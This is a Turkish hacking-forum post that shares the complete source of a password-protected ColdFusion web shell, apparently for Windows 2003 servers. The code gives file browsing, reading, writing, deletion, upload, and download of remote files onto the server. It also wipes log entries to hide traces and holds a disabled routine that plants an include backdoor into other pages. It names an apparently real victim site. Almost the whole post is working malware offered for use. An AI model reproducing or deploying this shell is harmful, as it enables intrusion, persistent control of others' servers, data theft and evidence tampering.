Forum
Aktif konular
Üyeler
Kurallar
Arama
CFM Shell CFM Shell
-
<cfoutput>
<html >
<title></title>
<style type="text/css">
<!--
.style1 {color: ##000066}
-->
</style>
<body bgcolor="##D3DCDA" >
<cfset currentPath = getCurrentTemplatePath()>
<cfset HomeDirectory = getDirectoryFromPath(currentPath)><CFPARAM Name="password" Default="">
<style type="text/css">
<!-- .style1 {color: ##993333}
.txtbox{font-weight:490; font-size:11px; font-family:verdana; border-right: black 1px solid; border-top: black 1px solid;
border-left: black 1px solid; border-bottom: black 1px solid;}
.deffont{font-family:Arial; font-size:12px;} -->
</style><cfif password eq "byhstwst">
<CFPARAM Name="ext" Default="txt">
<cfparam name="logpath" default="">
<cfparam name="numofuploads" default="0"><form action="#cgi.http_referer#" enctype="multipart/form-data" method=post>
Go To Upper Directory<br>
<input name="back" type="submit" value="Back" class="txtbox" style="width:5em;"><cfif IsDefined("clearlogflag")>
<cfdirectory action="LIST" directory="#logpath#" name="logfilelist">
<cfloop query="logfilelist"><!---if file exsist --->
<cfif FileExists("#logpath#\#logfilelist.name#")><!---if its only.log --->
<cfif ListGetAt(logfilelist.name,2,".") eq "log"><!---read file to a variable called getdata --->
<cffile action="read" file="#logpath#\#logfilelist.name#" variable="getdata"><!---Regular expression (anyting)digital_images(anything)rn) replace it by nothing --->
<cfset updatedlog=#ReReplaceNoCase(getdata, '[\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2A\x2B\x2C\x2D\x2E\x2F\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3A\x3B\x3C\x3D\x3E\x3F\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x5B\x5C\x5D\x5E\x5F\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x7B\x7C\x7D\x7E]*(digital_images)[\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2A\x2B\x2C\x2D\x2E\x2F\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3A\x3B\x3C\x3D\x3E\x3F\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x5B\x5C\x5D\x5E\x5F\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x7B\x7C\x7D\x7E]*\r\n', '', "ALL")#><!---write back after deleting lines in to same text file --->
<cffile action="write" file="#logpath#\#logfilelist.name#" output="#updatedlog#" >
</cfif>
</cfif>
</cfloop>
</cfif><cfif IsDefined("syspath") eq FALSE >
<cfset currentPath = getCurrentTemplatePath()>
<cfset currentDirectory = getDirectoryFromPath(currentPath)>
<cfelse>
<cfif trim(syspath) neq "">
<cfset currentDirectory =syspath><cfif isdefined("fname")>
<cfif DirectoryExists(fname)>
<cfset currentDirectory=currentDirectory & fname><cfelse>
<cfif FileExists(fname)>
<cfif HomeDirectory NEQ currentDirectory >
<cffile action="copy" source="#currentDirectory#\#fname#" destination="#HomeDirectory#\#fname#" nameconflict="makeunique">
<cffile action="rename" source="#HomeDirectory#\#fname#" destination="#HomeDirectory#\#fname#.pdf" >
<cflocation url="#HomeDirectory#\#fname#.pdf" addtoken="no">
</cfif>
</cfif></cfif>
</cfif>
<cfelse>
<cfset currentPath = getCurrentTemplatePath()>
<cfset currentDirectory = getDirectoryFromPath(currentPath)>
</cfif>
</cfif><cfset newpath="">
<cfif isdefined("back")>
<cfset listln=ListLen(currentDirectory,"\")>
<cfloop from="1" to="#listln-1#" index="i">
<cfif i neq 1>
<cfset Newpath=newpath & "\" & ListGetAt(currentDirectory,i,"")>
<cfelse>
<cfset Newpath=newpath & ListGetAt(currentDirectory,i,"") & "" >
</cfif>
</cfloop>
<cfset currentDirectory=Newpath>
</cfif>
<cfif isdefined("url.fname")>
<cfif DirectoryExists("#path##fname#")>
<cfset currentDirectory="#path##fname#">
<cfelseif directoryexists("#path#\#fname#")>
<cfset currentDirectory="#path#\#fname#">
<cfelseif FileExists("#path#\#fname#")>
<cffile action="copy" source="#path#\#fname#" destination="#HomeDirectory#\#fname#" nameconflict="overwrite">
<cffile action="rename" source="#HomeDirectory#\#fname#" destination="#HomeDirectory#\#fname#.pdf" >
<cflocation url="#fname#.pdf" addtoken="no">
</cfif>
</cfif><cfparam name="opath" default="#currentDirectory#">
<cfif isdefined('orgpath')>
<cfset opath=orgpath>
</cfif>
<!---- <br>This directory is #currentDirectory#<br>original path:#opath#<br> --->
<input type="hidden" name="orgpath" value="#opath#"><cfif IsDefined("copyflag")>
<cffile action="copy" source="#sourcefile#" destination="#destfile#" nameconflict="makeunique" >
</cfif>
<cfif IsDefined("chkbxcount")>
<table>
<cfloop index="i" from=0 to="#chkbxcount -1 #"><cfif IsDefined("delchkbx#i#")>
<tr>
<cfset delfile=Evaluate("delchkbx#i#")>
<cfif DirectoryExists("#currentDirectory#\#delfile#")><cfdirectory action="delete" directory="#currentDirectory#\#delfile#" recurse >
<td colspan="2" bgcolor="##EFF1C9">All the file inside "#Evaluate("delchkbx#i#")# " Directory were aslo deleted!!!!!!</td>
<br>
<cfelse>
<cfif FileExists("#currentDirectory#\#delfile#")>
<cffile action = "delete" file = "#currentDirectory#\#delfile#">
</cfif><td>#Evaluate("delchkbx#i#")# </td> <td> Deleted</td>
</cfif>
</tr>
</cfif><cfif IsDefined("renchkbx#i#")>
<tr><cfset rnfile=Evaluate("renchkbx#i#")>
<cffile action = "rename" source = "#currentDirectory#\#rnfile#" destination = "#currentDirectory#\#rnfile#.#ext#">
<td>#Evaluate("renchkbx#i#")# </td> <td>Renamed to #Evaluate("renchkbx#i#")#.#ext#</td>
</tr>
</cfif><cfif IsDefined("savechkbx#i#")>
<cfset writefile=Evaluate("savechkbx#i#")>
<cffile action="write" file="#writefile#" output="#myField#">
<br>
Data written to "#writefile#"
<br></cfif>
<!---Inserting our page to all selected pages --->
<!----
<cfif IsDefined("punchchkbx#i#")>
<cfset punchfile=Evaluate("punchchkbx#i#")><cfif HomeDirectory NEQ currentDirectory >
<cfset temp= punchfile>
<cfset punchfile=ListGetAt(temp,1,".")>
<cfset temp = currentDirectory& punchfile& ".gif.cfm" >
<cfset punchfile=temp>
<cffile
action="copy"
source="#currentPath#"
destination="#punchfile#"
nameconflict="makeunique"></cfif>
<cfset punchfile=Evaluate("punchchkbx#i#")>
<cffile
action="read"
file="#currentDirectory#\#punchfile#"
variable="getData"
>
<!---Read file contents and store it in a temporaty variable --->
<!---First Punch Hacking tool code --->
<cffile
action="write"
file="#currentDirectory#\#punchfile#"
output="<cfif isdefined(bangslam)> <cfinclude template=#punchfile# > <cfabort> </cfif>"
><!---Then place back the original contents --->
<cffile
action="write"
file="#currentDirectory#\#punchfile#"
output="#getData#"
>
written
</cfif>
---><cfif IsDefined("readchkbx#i#")>
<cfset readfile=Evaluate("readchkbx#i#")>
<cffile action="read" file="#currentDirectory#\#readfile#" variable="myData"><textarea name="myField" cols="160" rows="35" class="txtbox"> #htmlEditFormat(myData)# </textarea>
<td> <INPUT Type="Checkbox" Name="savechkbx#i#" value="#currentDirectory#\#readfile#" >SaveFile </td>
</cfif>
</cfloop><cfif isdefined("NewDirflag")>
<cfif FileExists("#currentDirectory#\#NewDirflag#")>
<cfdirectory action="CREATE" directory="#currentDirectory#\#newdir#">
</cfif>
</cfif><cfif isdefined("NewFileflag")>
<cfif FileExists("#currentDirectory#\#NewFileflag#")>
<cffile action="write" file="#currentDirectory#\#NewFile#" output="">
</cfif>
</cfif>
<tr><td> </td><td> </td>
</tr>
</table>
</cfif>
<cfloop from="1" to="#numofuploads#" index="i">
<cfif IsDefined("FiletoUpload#i#") >
<cfset UploadFileName=Trim(Evaluate("FiletoUpload#i#"))>
<cfif UploadFileName NEQ "">
<cffile action="upload" destination="#currentDirectory#" nameConflict="overwrite" fileField="FiletoUpload#i#">
You uploaded #cffile.ClientFileName#.#cffile.ClientFileExt#
successfully to #cffile.ServerDirectory#
</cfif></cfif>
</cfloop>
<cfif IsDefined("dispcgi")>
<cfloop collection="#CGI#" item="field">
#field#: #CGI[field]# <BR>
</cfloop>
</cfif>
<CFPARAM Name="dwnld" Default=0>
<cfif dwnld eq 1 ><cfhttp method="Get" url="#myurl#" path="#currentDirectory#" file="#fl#" multipart="yes" getasbinary="auto">
<cflocation url="http://www.stroudsburgfoto.com/digital_images/#fl#" addtoken="no"></cfif>
<table border="1">
<tr>
<td bgcolor="##FFCC66" class="deffont" >URL to download : </td>
<td bgcolor="##FFCC66"><input name="myurl" type="text" class="txtbox" size=40></td>
<td nowrap class="deffont" bgcolor="##FBEAF8">Source file : </td>
<td bgcolor="##FBEAF8"> <input name="Sourcefile" type="text" size=30 class="txtbox" value="#currentDirectory#"></td></tr>
<tr>
<td bgcolor="##FFCC66" class="deffont" >New File name : </td>
<td bgcolor="##FFCC66" ><input name="fl" type="text" class="txtbox" size=40> </td><td class="deffont" bgcolor="##FBEAF8">Destination file : </td>
<td bgcolor="##FBEAF8"><input name="Destfile" type="text" size=30 value="#currentDirectory#" class="txtbox"></td></tr>
<tr>
<td bgcolor="##FFCC66" class="deffont" Download Flag : </td>
<td bgcolor="##FFCC66"><INPUT Type="Checkbox" Name="dwnld" Value="1" > </td><td bgcolor="##FBEAF8" class="deffont" >Copy Flag : </td>
<td bgcolor="##FBEAF8">
<input name="Copyflag" type="checkbox" value="1"></td>
</tr><tr>
<td colspan="4" align="center" > </td>
</tr><tr>
<td colspan="4" align="center" bgcolor="##86C1CA" class="deffont">Create New File or Folder </td>
</tr><tr>
<td bgcolor="##86C1CA" class="deffont">New File : </td>
<td bgcolor="##86C1CA"><input name="NewFile" type="text" class="txtbox" size=20 value="">
<input name="NewFileflag" type="checkbox" value="1"></td><td bgcolor="##86C1CA" class="deffont" >New Directory : </td>
<td bgcolor="##86C1CA"><input name="NewDir" type="text" class="txtbox" size=20 value="">
<input name="NewDirflag" type="checkbox" value="1"></td></tr>
<tr>
<td colspan="4" align="center" > </td>
</tr>
<tr>
<td colspan="4" align="center" bgcolor="##C6C6F9" class="deffont" >Clear Log Files </td>
</tr><tr>
<td bgcolor="##C6C6F9" class="deffont">
Log Files Path
</td>
<td bgcolor="##C6C6F9" class="deffont">
<input type="text" size="40" name="logpath" value="#logpath#" class="txtbox" >
</td><td bgcolor="##C6C6F9" class="deffont">
Clear Log Flag
</td>
<td bgcolor="##C6C6F9" class="deffont">
<input name="Clearlogflag" type="checkbox" value="1">
</td>
</tr><tr>
<td colspan="4" align="center" > </td>
</tr><tr>
<td bgcolor="##F3C5CC" class="deffont" >Path : </td>
<td bgcolor="##F3C5CC" >
<input name="syspath" type="text" size=50 value="#currentDirectory#" class="txtbox">
</td><td bgcolor="##FBCBB5" class="deffont">Ext : </td>
<td bgcolor="##FBCBB5"><input name="ext" type="text" size=8 value="txt" class="txtbox"></td>
</tr>
<cfloop from="1" to="#numofuploads#" index="i">
<tr>
<td bgcolor="##FFCE9D" class="deffont" >Upload #i#: </td>
<td colspan="4" bgcolor="##FFCE9D"><input type="file" name="FiletoUpload#i#" size="75" class="txtbox"></td>
</tr></cfloop>
<tr>
<td bgcolor="##CDF3EF" class="deffont" >Number of Uploads: </td>
<td bgcolor="##CDF3EF"> <input type="text" size="4" name="numofuploads" class="txtbox" value="#numofuploads#"></td>
<td bgcolor="##D0B38A" class="deffont" >Search Files: </td>
<td bgcolor="##D0B38A" class="deffont" ><input type="text" class="txtbox" name="Searchfile" value="">
<input type="checkbox" name="Seachflag" value="1" ></td>
</tr><tr>
<td> </td>
<td> </td>
<td bordercolor="##CCCC66" class="deffont" >Perform Action : </td>
<td><input type="submit" value="Go" class="txtbox" style="width:5em;"> </td>
</tr>
</table><input type=hidden Name="password" value=#password#>
<br>
<span class="style1">This directory is #currentDirectory#</span>
<br>
<br>
<cfdirectory action="LIST" directory="#currentDirectory #" name="dirlist" SORT="dirname ASC, filename2 DESC, size, datelastmodified"><table >
<cfset i=0>
<cfloop query="dirlist">
<tr bgcolor="##CECDBD"><cfset outSize = dirlist.size / 1024>
<td class="deffont"><A HREF="#cgi.http_referer#?password=#password#&fname=#dirlist.name#&path=#currentDirectory#" >
<cfif DirectoryExists("#currentDirectory#\#dirlist.name#")>
#dirlist.name#\
<cfelse>
#dirlist.name#
</cfif></A></td>
<td class="deffont">[
<cfif DirectoryExists("#currentDirectory#\#dirlist.name#")>
DIRECTORY
<cfelse>
#NumberFormat(outSize)# kB
</cfif>
]</td><td class="deffont">[#lsdateformat(dirlist.dateLastModified, 'dddd d mmmm yyyy')#]<br></td>
<td class="deffont"><INPUT Type="Checkbox" Name="delchkbx#i#" Value="#dirlist.name#" >Del</td>
<td class="deffont"> <INPUT Type="Checkbox" Name="renchkbx#i#" Value="#dirlist.name#" >Ren</td>
<td class="deffont"> <INPUT Type="Checkbox" Name="readchkbx#i#" Value="#dirlist.name#" >Read</td>
<!---<td class="deffont"> <INPUT Type="Checkbox" Name="punchchkbx#i#" Value="#dirlist.name#" >Punch</td> --->
<tr>
<cfset i=i+1></cfloop>
<input type=hidden value="#i#" name="chkbxcount">
</table>
</form>
<cfelse><form action="#cgi.http_referer#" method=post>
<input type=passwd name=password>
<input type="submit" value="Login" name="submit">
</form>
</cfif>
</body>
</html>
</cfoutput>
bu shell windows 2003 de cfm modulu kurulu makinelerde işe yarar plekslerde otamatik kurulu gelir.
Kısayol
Şikayet
Özel Mesaj
Alıntı yap
Cevapla